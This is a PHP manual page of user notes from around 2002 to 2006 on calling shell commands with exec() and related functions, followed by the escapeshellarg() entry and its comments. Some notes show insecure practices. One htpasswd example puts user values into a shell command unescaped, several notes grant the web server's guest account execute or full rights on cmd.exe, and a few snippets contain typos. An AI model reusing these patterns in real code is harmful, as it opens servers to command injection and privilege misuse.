25-Jan-2006 04:21
I got the system() function to execute commands, but the command I want to execute is the massive dsadd command below.

for /F "eol=; tokens=1,2,3,4,5,6,7,8 delims=," %a in (output.txt) do dsadd user "cn=%b %a,ou=Testing,dc=mtmercy,dc=edu" -samid %a%b -fn %a -ln %b -display "%b, %a" -pwd %d -email %a%b@mtmercy.edu -disabled no -empid %c -desc Student

I've had limited success creating users in MS active directory 2003 so I decided to try dsadd. The problem is the quotes that are in the command itself as well as the % signs. The quotes are interpreted by php and the % signs are interpreted wrong in batch files. Any thought on this would be appricated.
dragomirov at tiscali dot it
24-Jan-2006 07:52
IT's great Anthony, your function works even under a *nix machine. You only need to modify like that
<?php
function callTool ($path,$file)
{
   chdir($path); $call = $path.$file;
   pclose(popen($call.' &', 'r'));
}
?>
The command goes in bakground and the script is still running.

Thanx a lot!
Anthony Catel (paraboul at gmail dot com
09-Jan-2006 11:40
<?php
   function system_o($cmd)
   {
       exec("$cmd", $f);
       foreach($f as $output) {
           $output = htmlentities($output);
           $ret .= "$output\n";
       }
       return $ret;
   }
?>

You can parse the output
afineman at computer dot org
16-Dec-2005 04:09
In response to the comment by 'daniel dot hopp at godot dot de' regarding the use of start-stop-daemon to exec a process within a session:

start-stop-daemon will probably not be a good choice.  start-stop-daemon with the --start option will not start the daemon if any matching process is found.  In other words, if you are using it to start a process running 'myscript', and there is another instance of 'myscript' found in the process table, start-stop-daemon will *not* start another process and will return 1, unless --oknodo is set.

Check out a man page for start-stop-daemon.
rymfaxe (at) hotmail (dot) com
05-Dec-2005 12:50
Starting batch or exe files (from a local Apache server 1.3.24 with PHP 4.3.1) to be executed within WinXP SP2 and having the program running in background - which certainly is tricky.

I figured this peace of code makes it very possible.
Instead of using exec() I prefered popen() adding the parameter /b which makes it run in the background, thus having PHP script continued to be interpreted contrary to be hanging in the process.

<?php
function callTool ($path,$file) {
   chdir($path); $call = $path.$file;
   pclose(popen('start /b '.$call.'', 'r'));
}

// -- Call tool1 -----
$location = "c:\path\to\desired\folder";
$filename = "\tool1.exe";
callTool($location,$filename);

// -- Call tool2 -----
$location = "c:\path\to\desired\folder";
$filename = "\tool2.bat";
callTool($location,$filename);

// -- Call tool3 -----
$location = "c:\path\to\desired\folder";
$filename = "\tool3.com";
callTool($location,$filename);
?>

This example assumes that the Apache properties locally has bin told to 'allowe this server to interact with desktop' which on WinXP is to be set under Start > Run > services.msc - next, right click "Apache...", select properties and click on the 'login tab'.

Hope someone to benefit out of this stuff.
valqk at lozenetz dot org
25-Nov-2005 08:05
If you are chrooting php into enviornment that doesn't have /bin/sh you can't execute any command! Even when you call
mail() and it calls sendmail ... well actually sendmail NEVER gets called because /bin/sh is not in the chroot!
SO in conclusion: YOU MUST HAVE /bin/sh TO EXECUTE SOMETHING!!!
VERY IMPORTNAT!
I've lost few days while find this, hope it helps someone!!!
ripat at lumadis dot be
08-Nov-2005 03:54
About the background functions below, many hosting service disable the exec or passthru functions.

It is still possible to run a script in background by sending a 200 OK header to the clients browser.

Here is how:

<?php

header("HTTP/1.1 200 OK");
header("Content-Length: 0");
flush();

// code to be run in background here
// and, of course, no output to the clients browser from here.
?>

And if you need to output something to the clients browser before executing the code in the background:

<?php

header("HTTP/1.1 200 OK");

$text = 'Your html code here';

// IE hack to get the flush to work. Not needed for FF.
$text = strlen($text) > 256 ? $text : str_pad($text, 256);

ob_start();
  echo $text;
  $size = ob_get_length();
  header("Content-Length: $size");
ob_end_flush();
flush();

// code to be run in background starts here.
// And, of course, no output to the clients browser from here.

?>
manokan at manokan dot net
28-Oct-2005 06:01
Even more on the "unable to fork" error.

It was driving me crazy! I did check that the permissions were set for the IUSR_[server] account to read & exec cmd.exe. Yet still it failed. It wasn't until I got desperate that I happened to look in "special permissions." (Click the advanced tab underneath the regular list of permissions.) There I found that  somehow the IUSR_[server] account had a special permission DENYING access! Of course deny overrides everything else.

This was a newly set up install of XP pro. It must be the default of something (I'd guess IIS) to set this deny permission just to make our lives miserable.
senorchamo at netzero dot net
20-Oct-2005 07:34
I've been trying to get a process to run in the background while the rest of the script which called the process continues to run.  The easiest way I found to do this in Linux is by executing the following:

The script to run in the background is called $ProgExec

<?php
...script before...
exec("$ProgExec > /dev/null &");
...script after
?>

The "> /dev/null" makes all output go into a blackhole.
The "&" makes the process run in the background.

Works like a charm for me.  Thought I'd spread the good news. :)
abhilashp at clariontechnologies dot co dot in
30-Sep-2005 12:58
I faced the problem of putting a shell script as a backgroud process using both exec() and system() commands on a FreeBSD Server with PHP 4.4.0

I tried all the above mentioned methods but couldnt succeded, then i coded this script and am sure will work on all Linux flavors... See if ot helps you all guys...

I Put my Shell Script in the variable $ExecCommand

and used the proc_close and proc_open functions the code is as follows :

proc_close (proc_open ($ExecCommand,array(),$somefun));

After the above line the rest of the usual  php script continues....

Hope it helps you guys..
Helpful Harry
23-Sep-2005 10:15
To tell you the truth, I don't know how... or why... this works, but I am able to spawn background win32 processes whereby the PHP interpreter does not wait on the called program to finish...

<?php
pclose(popen("start /b <program> <args>", 'r'));
?>

I don't know wheither pclose is neccesary or not, but I can only guess that it frees up memory.

an example would be

<?php
pclose(popen("start /b C:\php\cli\php script.php', 'r'));
// rest of the program
?>

where script.php would execute independantly of the parent script..

hope this helps,
Harry
php at haz dot dk
18-Sep-2005 02:41
Problems with PHP+APACHE+SIGALRM?

Note: Apache uses SIGALRM to some of it's internal timer functions, which means that all external programs that you might want to run that relys on SIGALRM won't run as expected!

This includes the popular programs, ping, arping and probably a lot more.
drenintell
17-Jul-2005 09:42
For those having a problem executing an exe on Windows, try changing the current working directory to the executable's directory.
<?php
chdir($executable_directory_path);

// Once you have changed the directory try calling exec, system... etc.
exec($cmd);
?>

Regards,
  drenintell
Helpful Harry
15-Jul-2005 11:48
I figure this is as good a place as any to describe how to use  php with cron

there are two methods, executing directly or using wget...

1) to execute directly

create a php script to tell you where the php interpreter is located:

type 'which php' or just run this simple script

<?php
passthru('which php');
?>

that should return /usr/local/bin/php or something similiar.  This is the path to your php interpreter.

now for your cron entry:

0 0 * * * /usr/local/bin/php /path/to/phpscript/script.php

make sure this script is out of the document tree.

2) execute with wget

for your cron entry:
0 0 * * * wget http://path.to/phpscript/script.php

now this script has to reside in the document tree so allow for this check...

<?php
if ($_SERVER['SERVER_ADDR'] == $_SERVER['REMOTE_ADDR'])
   //execute script here
else
   die('Invalid Access.');
?>

(and perhaps a get "?auth=password" check)
php at breakpirates dot com
28-Jun-2005 08:36
The whole Windows 2003 server solution with changing permissions on cmd.exe for IUSR doesn't seem ideal IMO. It does open up serious security issues. Taking a copy and placing it in the PHP folder could potentially expose your server to exactly the same risks where a HTTP exploit could be used to access cmd.exe and then basically have the rights to run anything on your server...not good. Having your PHP install on a different drive may help things but it's still not ideal.

The only other thing I could think of is using a replacement cmd.exe in c:\php with tight restrictions on where it can run things from, for example c:\myexecutables . I doubt PHP does any checks on the cmd.exe within its own folder so switching this for a different one would probably be fine.
21-Jun-2005 01:40
Comment to code posted by info at skyco dot de:
On Apache 1 and PHP 5, the code didn't work as expected?

Something like this worked better:
<?
// put this in the calling file:
function callWebsite($strHost, $strPath="/") {

// try opening the connection
$fFile = @fsockopen($strHost, 80, $intError, $strError);

   if ($fFile) {
       // make a simple GET-command
       $strCommand = "GET ".$strPath."\r\n";
       // send the command
       fwrite($fFile, $strCommand);
       // close connection
       fclose($fFile);
       return true;
   } else {
       // report error
       echo "Could not connect to ".$strHost. " (".$intError.") ".$strError.".");
       return false;
   }
}

// call like you were outside yourself... (127.0.0.1=your own computer)
callWebsite("127.0.0.1", "/yourpath/yourfile.php?example_variable=24");
?>

<?
// and do this in the file that should run on it's own:
ignore_user_abort(true);
// if it should run longer than timeout, do this:
set_time_limit(0);
// put your code below here
?>

Your last file could be tested in telnet too. To do this, enter this using the command prompt:
telnet www.yourhost.com 80<enter>
GET /thepathtoyourfile/file.php?hello=yes<enter>
xmb at skilled dot ch
01-Apr-2005 11:25
ronny posted:
   $uptime = exec("expr $(awk '{print $1}' < /proc/uptime | awk -F. '{print $1}' ) / 86400");

-> real awk:
   $update = exec(" awk '{ print $1 / 86400 }' </proc/uptime ")
   $update = exec(" awk '{ printf "%02.2g", $1 / 86400 }' </proc/uptime ")
info at skyco dot de
20-Mar-2005 12:13
I noticed that a couple of contributers planned on having threads running in background while operation continues.

If you have a script that will function for itself there is an easy solution: call it through fsockopen (request to webserver) and do not wait for the answer. To make sure process is called correctly on all operating systems I had to add an fgets but break after first couple of bytes.

example main script

<?php
   echo "This is main thread, returning immediately";
   $fp = fsockopen( <addyourcalltoscript> );
     //fputs($fp, <yourvariablestosend>);
     while(!feof($fp)){
         fgets($fp, 128);
         break;
     }
   fclose($fp);
?>

example child script

<?php
   // make sure script runs without stopping //
     set_time_limit(0);
     ignore_user_abort(true);
   // your code
?>
sven at nospam grovestreet dot net
09-Mar-2005 02:42
Hey,
I had this problem: I wanted to kick off a PHP script that would possibly run for a while. This is on a web GUI, so there is the problem of a) the user stopping the browser, and b) reloading or revisiting the page.

Since this will live on a hosted box over which I have little control, am unsure of whether CLI or the CGI is installed, and didn't want to add Perl to the mix, I came up with this hack.

<?
$logfile = dirname(__FILE__)."/mail.log";

if (file_exists ( $logfile )) {
   if ( (time() - filectime( $logfile ))<10 ){
   // file exists and was changed less than 10 secs ago
       header("Refresh: 2; url=''");
       print "process running....<br><br>\n\n";
   // the below just inverts the log and prints it
       $logcontents = file($logfile);
       foreach (array_reverse($logcontents) as $line) {
           print $line."<br>\n";
       }
   } else {
   // file exists but has not been changed in 10 secs
       print "process finished!<br><br>\n\n";
       $logcontents = file($logfile);
       foreach ($logcontents as $line) {
           print $line."<br>\n";
       }
   // dump the file so I can run the proces again
       unlink ($logfile);
   }
} else {
echo "\n\n";
echo "startig process...<br><br>\n\n";
ob_flush();
flush();

$log = fopen($logfile, "a") or die("error opening log\n");
// don't kill this process no matter how long it runs
set_time_limit(0);
// keep running even if the user stops the browser
ignore_user_abort(true);
// dummy stuff. put the real work here
for ($i=0; $i<20; $i++) {
   $thisline = "iteration $i";
     fputs($log, $thisline."\n");
   print $thisline."<br>\n";
   ob_flush();
   flush();
   sleep(1);
}
fclose ($log);
}
?>

This yields:

1st hit:
  startig process...

   iteration 0
   iteration 1
   iteration 2
.... adding lines as long as the request is not stopped

on subsequent hits

   process running....

   iteration 2
   iteration 1
   iteration 0

and refreshing every 2 secs

and finally:

   process finished!

   iteration 0
   iteration 1
   iteration 2
   iteration 3
   iteration 4
 .... rest of log file

Seems to be pretty stable... - any comments in email please.

sven
mr_potty_noodle at hotmail dot com
16-Feb-2005 11:11
You may have issues with RUNAS or CPAU using the exec function on win2k server (Fully patched as of 2005 in my case), Windows 2k3, Windows XP SP2 may require special consideration if your services use the local system account.

It seems Microsoft changed the CreateProcessWithLogonW API call in the backend that makes it incompatible with localsystem account.

This means that some applications WILL NOT RUN, the process will not be created, it will be denied. At first i thought this was a permissions issue, however after looking into it, its clear that it is not.

A solution to the issue is to modify the system service that your web server uses to run from the local system account. In my case this was not an option as the WWW (iss) services on win2k server are integrated with other services which will cause problems.

Microsoft have come up with a solution in a vbs script. The following is a quote from a Microsoft support e-mail, it was aimed at winXP sp2. I have no idea if it will resolve the issue on win2k / win2k3 machines at the moment.

"Thank You for contacting Microsoft Support in regards to your question with CreateProcessWithLogonW() not working on XP SP2 from the localsystem account.

In our internal support database Ive found the following answer from an American colleague to exactly the same question:

The code for CreateProcessWithLogonW() was changed in SP2 to have the same behavior as Windows Server 2003. One of the things CreateProcessWithLogonW() will do ensure that the child process has access to the windowstation/desktop if lpDesktop member is specified to NULL or empty string. On Windows XP SP1, the operating system
would grant explicit access to the child process for the windowstation/desktop of the parent process. On Windows XP SP2, the API determines the logon SID of the parent process and adds this to the token of the child process so the API doesn't need to modify the DACLs for the windowstation/desktop. This will not work with the localsystem account since it doesn't have a Logon SID.

If you would like to launch the process interactively (ie winsta0\default) with XP SP2, you'll need to do the following:

1. set lpDesktop to "winsta0\\default".
2. grant the user in the CreateProcessWithLogonW() call access to
"winsta0\\default". The following KB article has sample code on modifying the security using VB:

316440 How To Use Low-Level Access Control APIs from Visual Basic
http://kb/article.asp?id=Q316440

The function you need to look at is: UpdatePermissionsOfUserObject()

To determine what type of permissions should be granted. Please take a look at the following article:

165194 INFO: CreateProcessAsUser() Windowstations and Desktops
http://kb/article.asp?id=Q165194

#define WINSTA_ALL (WINSTA_ACCESSCLIPBOARD | WINSTA_ACCESSGLOBALATOMS |
WINSTA_CREATEDESKTOP | WINSTA_ENUMDESKTOPS |
WINSTA_ENUMERATE | WINSTA_EXITWINDOWS |
WINSTA_READATTRIBUTES | WINSTA_READSCREEN |
WINSTA_WRITEATTRIBUTES | DELETE |
READ_CONTROL | WRITE_DAC |
WRITE_OWNER)

#define DESKTOP_ALL (DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_JOURNALPLAYBACK | DESKTOP_JOURNALRECORD |
DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP |
DESKTOP_WRITEOBJECTS | DELETE |
READ_CONTROL | WRITE_DAC |
WRITE_OWNER)

The values for the above defines are in winuser.h.

I have tested this from localsystem account with XPSP2 and it works using the code from the above article, 165194.
Shaun
26-Jan-2005 05:53
Trying to use 'exec' to run a helper executable on Win2K3 (and I'm told this also happens on Win2K) from a PHP script running on IIS, failed to invoke the executable.

Running the same PHP script on Win2K using Apache to serve the page calling the same helper executable worked.

Solution: On Win2K3 (and probably Win2K), give the IIS IUSR_xxxxx guest user Read & Execute permissions to Cmd.exe found in the System32 folder under Windows root directory.

This one had me confused longer than it should have! Hope this saves others from the same fate!
louis dot j dot scoras at gmail dot com
24-Jan-2005 02:43
To start a process to run in the background, you can use the same technique you would in writing a daemon.  Fork a new child while exiting in the parent, then set that as the process leader.  Finally, fork once more, and run whatever the command is:

<?php

if(pcntl_fork()) {
   exit;
}
posix_setsid();
if(pcntl_fork()) {
   exit;
}
pcntl_exec('/usr/bin/ogg123', array('-q', $this->findPath()));

?>

Of course, this would be the last thing that your script does, because the parent exits when you spawn the new process.  You could do more fancy things, but this works as a good starting point.
margus at kohv dot com
18-Jan-2005 07:10
Well, I had this issue when I wanted to start an indefinitely running PERL script from PHP. Somehow I could not make the PHP script to return after executing the PERL script. So finally I came to following solution:

PHP file
-------------------
<?php
exec("perl /home/chatserver.pl > /dev/null");
?>
-------------------
This script will be run over HTTP.

PERL file
-------------------
#!/usr/bin/perl
fork and exit 1;

# normal code here...
-------------------

Hopefully it helps someone :)
Margus
sean @T keenio - dot - com
10-Jan-2005 03:35
Just to clarify, background shell exec()ing is not the same as a fork() under Unix. It would be useful if PHP supported fork() like Perl and other scripting languages do. Simply exec()'ing a process and sending it to the background is not the same.

A true fork() copies the current environment and duplicates the running script so that there are two instances, one child, one parent. The child and parent can determine which copy they are and then take separate courses of execution paths based on that. Often one copy will perform some "busy work" while the other returns to normal execution. But no matter what, both functions live within the same code rather than a separate, external program. exec()ing can not do this for you.
sam at freepeers dot com
02-Oct-2004 08:51
To clarify even more about what has been said in the last few posts:

"exec", "backticks", "system" and so on will fail on Windows 2003 by default.

You must modify the security on cmd.exe to give the user account IUSR-computername the necessary permissions which are at least read & execute.
leaetherstrip at inbox dot ru
08-Jul-2004 05:23
Note on XP users: XP-Home edition does not allow to set rights directly on files and folders. You should use cacls command-line utility to do this.

For example:

cacls c:\windows\system32\cmd.exe /E /G IUSR_ADMIN2003:F

gives IIS user full access to cmd.exe (potential security hole!), so PHP can fork and execute external programs.
dotpointer
15-May-2004 09:02
Win32 / PHP 4.3.6...

If you plan to start programs on the server that show message boxes (things that require OK from the server-side), or remain (like notepad.exe), and the exec-command seems to go into an deadly loop, then MAYBE your program has started, but you can't see it. Because the web server runs as an system process, and it isn't allowed to interact with the desktop.

To solve a part of the problem (to see the programs you execute), in the control panel in Windows, goto Administration->Services, right-click the server-service, goto Properties and on the second tab (login?) and check the box about allowing the service to interact with the desktop. Click OK. Restart the webserver, and MAKE SURE it is restarted for real (i.e. look in the task manager so the service goes _down_), otherwise the desktop-option won't take.

Next phase would be to stop PHP from waiting for the processes to complete (this is what makes PHP "loop"). I solved this by creating a small Delphi-application that took the path to the file I wanted to execute and executed it by the WinExec API, which just starts the childprogram but doesn't wait for it to complete = the program completes and the PHP.exe completes the script. Problem solved!

Delphi-snippet:
WinExec(PChar(<CMD>),SW_SHOW); // replace <CMD> with the program path.
vosechu at roman-fleuve dot com
26-Mar-2004 10:35
Quick chart that helped me immensely (Best (+) / worst (o) of each command) and when to use each (w).

| exec(string cmd, [array cmd_output, [int cmd_exit_status]])
+- Second (optional) argument holds an array containing the output line by line.
+- Third (optional) argument holds the exit status of the executed program.
w- When the output of a command is only important to the program.

| system(string cmd, [int cmd_exit_status])
+- Echos ascii output straight to browser (only stdout; stderr must be redirected by putting 2>&1 after the command to see errors).
+- Second (optional) argument holds the exit status of the executed program.
w- When the output of a command is important to the user.

The more I go over my notes the less I care for the last two functions.
Shell_exec() = exec() + implode() - exit codes.
And while neccessary to be able to pipe binary through php, most people will never use passthru

| passthru(string cmd, [int cmd_exit_status])
+- Echos binary output directly to browser window.
+- Second (optional) argument holds the exit status of the executed program.
w- When the output of a command is binary.

| shell_exec(string cmd) <-- minimal features to maintain sync with normal use of backticks.
+- Returns full output as a string instead of directly to the browser (only stdout; stderr must be redirected).
o- No way to check exit status (Should use system() with both stderr and stdout redirected to /dev/null to get the exit code).
ferchland at computer-kontor dot de
23-Jan-2004 12:24
I tried to fork a GUI-process on WinNT, Apache 2, PHP4.
I saw the new process (notepad.exe) in the Task-Managers process-list, but no Notepad-Window anywhere!
After activating the checkbox "Interactive with Desktop allowed" in Services->Apache everthing works with a simple command
exec("start c:\\winnt\\notepad.exe");
jeremy at ntb dot co dot nz
29-Sep-2003 12:18
If an error occurs in the code you're trying to exec(), it can be challenging to figure out what's going wrong, since php echoes back the stdout stream rather than the stderr stream where all the useful error reporting's done. The solution is to add the code "2>&1" to the end of your shell command, which redirects stderr to stdout, which you can then easily print using something like print `shellcommand 2>&1`.
dens at dodgeball dot com
19-Sep-2003 06:41
I was stuck for about an hour and a half last night trying to get Perl to pass back values to my PHP script after running an exec() command.

Since my Perl script was using STDOUT (after being passed command lines variables), I expected the variables used in my .pl script to be accessible in PHP, no questions asked.

Of course, this wasn't working and I finally figured it out with the help of a friend (Shawn = superstar):  you need to echo the exec() command in order to get the values back into PHP.

Since I was returning multiple values, I added pipe delimiters in my .pl script and then used PHP to parse the string to retreive my data into different variables.

Check it out:

#hit the .pl script with the data
$mydata = exec("script.pl 'command line args' ");
exec("exit(0)");

#parse the value that comes back from the .pl script
list($strA, $strB) = split ('[|]', $mydata);
echo "valueA: " . $strA."<br>";
echo "valueB: " . $strB."<br>";

Woo-hoo!
/d
software at yvanrodrigues dot com
30-Jul-2003 05:55
MORE ON THE UNABLE TO FORK MESSAGES IN WINDOWS:

I would like to confirm that this issue relates to permissions on %SYSTEMROOT%\SYSTEM32. The user (usually the anonymous login) must have execute permissions on cmd.exe

This is unlike most other programming languages. For example, in C the spawn and exec functions do not try to open a shell, they create the new process directly. PHP creates the new process via cmd.exe (or command.com) much like the C system() function. This is good for those of you who are trying to run batch files but this is very ineffecient for running other .exe files.

I feel uneasy about lifting permissions in my system32 directory but you can get around this by copying cmd.exe to your PHP directory. Windows will look there first and if it is not there it will check the path. Note: I mean the directory where php.exe is, not your script directory.

I have confirmed this by running filemon.exe while trying to execute a script, and you can see it trying to start the cmd.exe process.
kristof_jebens at hotmail dot com
24-Jun-2003 05:23
For WIN2K Server users running Apache 1.3.22 who are unable to run an executable...

exec('c:\\WINNT\\system32\\cmd.exe /c START c:\\file.exe');

this is the only way it worked for me.
Hope that helps
david at mego dot com dot tw
03-Jun-2003 02:48
Okay here is my two cents for Windows users having "Unable to fork..." errors when executing "shell_exec" or "system" functions.

After numerous hours of testing, I realized that this error is a result of insufficient file permissions.  You will need to locate c:\Windows\system32\cmd.exe and set the permission to at least Read & Executable for Internet Guest user accounts.

Then you should be able to run your script without a problem.  If you still have a problem feel free to contact me by email.
leenoble at spammenot dot ntlworld dot com
10-May-2003 12:37
Even I typed in the full path to a command none of the shell functions worked at all.

exec("/usr/bin/mygoodcommand");

...just didn't produce results.

The command was world executable and ran fine from the shell. But after playing with the 2>&1 thing I established that "mygoodcommand" needed all of its commands to be path specific too. In my case I was attempting to dump a processed uploaded spreadsheet to a database with the command:

mysql --local-infile -u supportadmin --password='*******' personnel < /Users/leenoble/Sites/Websites/Support/data/updateexec.sql

In order for this to work I had to add:

/usr/local/mysql/bin/ to the mysql command to make it work. I hope this helps stop someone else from tearing their hair out in frustration.
mk at neon1 dot net
21-Apr-2003 12:17
If you want to execute background processes from PHP that should run indefinitely, be aware of the following nasty behavior (confirmed with PHP 4.3.1 under FreeBSD, but probably under other flavors of UNIX, too):

PHP internally calls setitimer(2) to set the profiling interval timer (ITIMER_PROF) to enforce execution time limits (max_execution_time and max_input_time). These timer values are passed down to all processes executed by PHP. This means that after such a process has consumed [max_execution_time] seconds of CPU time (not wallclock time!), the system will send it a SIGPROF (signal 27). Since most processes don't use this signal and as such don't call signal(3) to catch or ignore it, the default action is executed, which is to terminate the process.

So if you see background processes that were executed from PHP dying at seemingly random times, you may be experiencing this issue. The solution is simply to call set_time_limit(0) just before executing the process.
jpgiot at ifrance.com
26-Jan-2003 10:30
FOR WINDOWS USERS

i had a look to start command. it's really usefull in fact.

this is how i launch a specific Apache SSL server

<?php
$cmd = "start /D C:\OpenSA\Apache /B Apache.exe -D SSL";
exec($cmd,$output,$rv);
?>

/D specify the path where application will be launched (equivalent to cd to path)
/B launch application without a console window

so to know the exact parameters of start, you could use

<?php
exec("start /? > start.txt");
?>

and you will get the help of start in a file named 'start.txt' in the same place you run the script

for WIN 98 you may need to modify a little your command

exec("COMMAND.COM /C START program args >NUL");

(taken from another post)
jfl at eksperten dot dk
11-Jan-2003 02:01
I made my script work in the background like this:
function start_shell ($cmd) {
   exec('nohup "'.$cmd.'" > /dev/null &');
}
qscripts at lycos dot nl
07-Jan-2003 09:45
Why not using the "start" utility, provided with every version of Windows to start processes in the background on Windows machines? For example :

exec("start song.mp3");

Which will cause the default handeling application for .MP3 file types to start playing the selected song..
NOtvdgeerSPAM at NOxs4allSPAM dot nl
03-Dec-2002 08:36
For users of PHP4 & Apache on Windows2000/XP:

If you're trying to execute a command-line application from PHP that has to show a (console) window on your desktop, make sure you enable the option to 'allow service to interact with desktop' in de service properties of Apache. (See your Windows services)

CAUTION: This can lead to security problems if your setting up a publicly available webserver!
k dot mitz dot NO_SPAM at att dot NO_SPAM dot net
16-Sep-2002 05:07
Newbie note:

The only syntax I found to work for the command portion of an an exec() call on a Win2K devel platform is:

$cmd = "\"path-to-exe\" args file-name";

where 'path-to-exe' has escaped double quotes, args are in the standard format, and 'file-name' has any backslashes escaped.

Example:

$cmd = "\"C:\program files\winzip\wzunzip.exe\" -c C:\\temp\\uploaded_file.zip";

exec($cmd,$output,$rv);

Note that the backslashes are escaped in the uploaded_file name, but not in the path to call the Winzip executable.  Go figure!
kop at meme dot com
13-Aug-2002 05:52
AFICT, the standard Unix Apache configuration causes an rare problem when running a job in the background. The MaxRequestsPerChild directive causes the child to terminate after 1000 requests, any background processes associated with the child will die with the child unless they are started with the "nohup" command.  Thus, the proper way to start a job in the background is to use:

exec('nohup my-command > /dev/null 2>&1 &')
ramirosuarez at fibertel dot com dot ar
13-Jul-2002 11:58
For Windows Users:

Keep in mind that a lot of UNABLE TO FORK Errors are the result of insufficient permissions.

CMD.EXE, TEMP Directory (or whatever you specified in php.ini), and all the directories that you use to upload o manipulate your files need to have Write privileges usually user USER.

This will be useful for all the people who use GD Libraries or other programs that manipulate graphic images.
GCMXZPJPDJER at spammotel dot com
01-Jul-2002 03:41
to execute a script in background from php you don't need to use mikehup or other tools. just do:

`/usr/bin/php -q foobar.php >/dev/null 2>&1 &`;

mat
deschampsbest at noos dot fr
27-Jun-2002 04:05
I needed to know when a group of background tasks, which had been launched with a call to system, had terminated.
I could not find a function to call, so I created a little function.

It basically loops on the existance of a string in the results returned by the command ps.

All my commands, which run in background have the pid returned by posix_getpid in them.

I am able to launch many background task and effectively wait for them all to finish.

Before this, I would basically would sleep for N seconds.

I apologise if a well known or better method exist.

Thanks,
The New Bee
===============
===============

function wait_until_termination ($id, $duration){
               $i = 0;
               do {
                       $i += 1;

                       $cnt = `ps -auxww |
                               grep $id |
                               grep -v grep |
                               awk '{print $2}' |
                               grep -v $id|
                               wc -l` ;

                       if ($cnt > 0) {
                               sleep ($duration);
                       }

               } while ($cnt != 0);

               echo ("wait_until_termination (PID: $id, SEC: $duration) : LOOPS
:$i<BR>");
       }
ronnyab at online dot no
22-Jun-2002 09:37
Instead of getting the whole package of load average and date, get only the days of uptime!
Use this code:

$uptime = exec("expr $(awk '{print $1}' < /proc/uptime | awk -F. '{print $1}' ) / 86400");
print("Uptime: $uptime days");

This will print "Uptime x days"!
info at businex dot de
17-Jun-2002 08:51
In handing over a parameter to such a background program, I succeeded with the following syntax:

exec("QUERY_STRING='campaign=$campaign'; export QUERY_STRING; php campaign_exec.php &");
rolland dot dudemaine at msg-software dot com
11-Apr-2002 08:45
In case you ever had to chain from php to another program (e.g. with a cgi php that only gives part of the output, or with php-gtk), here is a little C program that kills his parent (php, for instance), then launches a program given in argument.

chain.c :

#include <unistd.h>

int main(int argc, char**argv) {
  /* kill the parent */
  kill(getppid(), 15);
  argv++;
  /* then launch the new program */
  return execvp(argv[0], argv);
}
(compile with gcc -O3 -o chain chain.c)
then in php, use
<?
exec('chain sh -c echo test');
?>
vi_pa at hotmail dot com
05-Apr-2002 08:17
For those who want to execute a .php script to run in the background, from a
.php web page...

exec("php script.php parameters 2>dev/null >&- <&- >/dev/null &");

Where...
- php is the path to your php script executer (php has to be specifically complied to be to do this)
- script.php is the script
- parameters are none or more parameters
- 2>dev/null redirects the stderr to a file
- <&- switches off the stdin
- >&- switches off the stdout
- >dev/null redirects all other output to the file dev/null
- & direct script to run in background

This is the only way I managed to get it working (Linux & Apache, php 4x enviroment) . What is also great is that the process is forked so even though a user may close the browser that initiated the exec(), the process will still run to completion. And the dev/null file can be turned into a log.

What I found odd is that the script I was execing would run fine in the bg when executed from the command line, but not from the browser until I closed the stdin and stdout.
alan_quill at hotmail dot com
22-Mar-2002 10:36
Simple way to encrypt a password using htpasswd.exe.

$anyname="/path/htpasswd -nb $username $password";

$somename=exec($anyname);

eg.For windows
$command="c:\apache\bin\htpasswd.exe -nb $username $password";

$encrypt=exec($command);
daniel dot hopp at godot dot de
02-Feb-2002 03:25
Re: session_write_close()

To launch a background process within a session, I recommend
to use a start-stop-daemon and ship parameters via ENV.

Example:
----------------------------------------
<?php
  // Within a session..
  exec("/some/where/launch.sh 300");
  // ..finished immediately.
?>

----------------------------------------
#!/bin/bash
# /some/where/launch.sh
T=$1
export T
DAEMON=/some/where/runme.pl
start-stop-daemon --start --quiet --background --exec $DAEMON

----------------------------------------
#!/usr/bin/perl
# /some/where/runme.pl
my $t = $ENV{'T'};
sleep($t);

----------------------------------------
edwin at bit dot nl
23-Jan-2002 07:47
If you are using sessions and want to start a background process, you might have the following problem:
The first time you call your script everything goes fine, but when you call it again and the process is STILL running, your script seems to "freeze" until you kill the process you started the first time.

You'll have to call session_write_close(); to solve this problem. It has something to do with the fact that only one script/process can operate at once on a session. (others will be lockedout until the script finishes)

I don't know why it somehow seems to be influenced by background processes, but I tried everything and this is the only solution. (i had a perl script that "daemonized" it's self like the example in the perl manuals)

Took me a long time to figure out, thanks ian@virtisp.net! :-)
lk1 at reglos dot de
25-Oct-2001 06:05
To keep a program running in the background on win98 the command
exec("COMMAND.COM /C START program args >NUL");
works fine for me.
naken at naken dot cc
16-Aug-2001 05:17
Anyone who still wants a copy of mikehup.c,
I rewrote it:  http://www.naken.cc/mikehup.php
This program will help you run programs in the
background that are called with the php system()
function.
add a note add a note

后退 | 起点 | 前进
pcntl_wtermsig | 上一级 | escapeshellarg


escapeshellarg

(PHP 4 >= 4.0.3, PHP 5)

escapeshellarg -- Escape a string to be used as a shell argument

说明

string escapeshellarg ( string arg )

escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user input. The shell functions include exec(), system() and the backtick operator.

参数

arg

The argument that will be escaped.

返回值

The escaped string.

范例

例子 1. escapeshellarg() example

<?php
system('ls '.escapeshellarg($dir));
?>

参见

escapeshellcmd()
exec()
popen()
system()
backtick operator

add a note add a note User Contributed Notes
22-May-2006 08:25
Most of the comments above have misunderstood this function. It does not need to escape characters such as '$' and '`' - it uses the fact that the shell does not treat any characters as special inside single quotes (except the single quote character itself). The correct way to use this function is to call it on a variable that is intended to be passed to a command-line program as a single argument to that program - you do not call it on command-line as a whole.

The person above who comments that this function behaves badly if given the empty string as input is correct - this is a bug. It should indeed return two single quotes in this case.
phpnet at lostreality dot org
12-Nov-2005 12:53
This function does not escape $ it seems. This lets user embed shell variables such as $PATH into commands, which you may or may not want to allow.  I'm using shell_exec() because I need the entire command as one string, and need access to the stdout data as one string as well.
ludvig dot ericson at gmail dot com
02-Sep-2005 01:17
It seems from my tests that escapeshellarg("`ls -al`") is _NOT_ escaped into \`ls -al\` as it should be.

Anyway, a bash/sh environment does not seem to interprett ` inside of a singleqoute (').

$ echo "`echo hello`"
hello
$ echo '`echo hello`'
`echo hello`
$ echo "\`echo hello\`"
`echo hello`

Just a tip.
19-May-2005 02:37
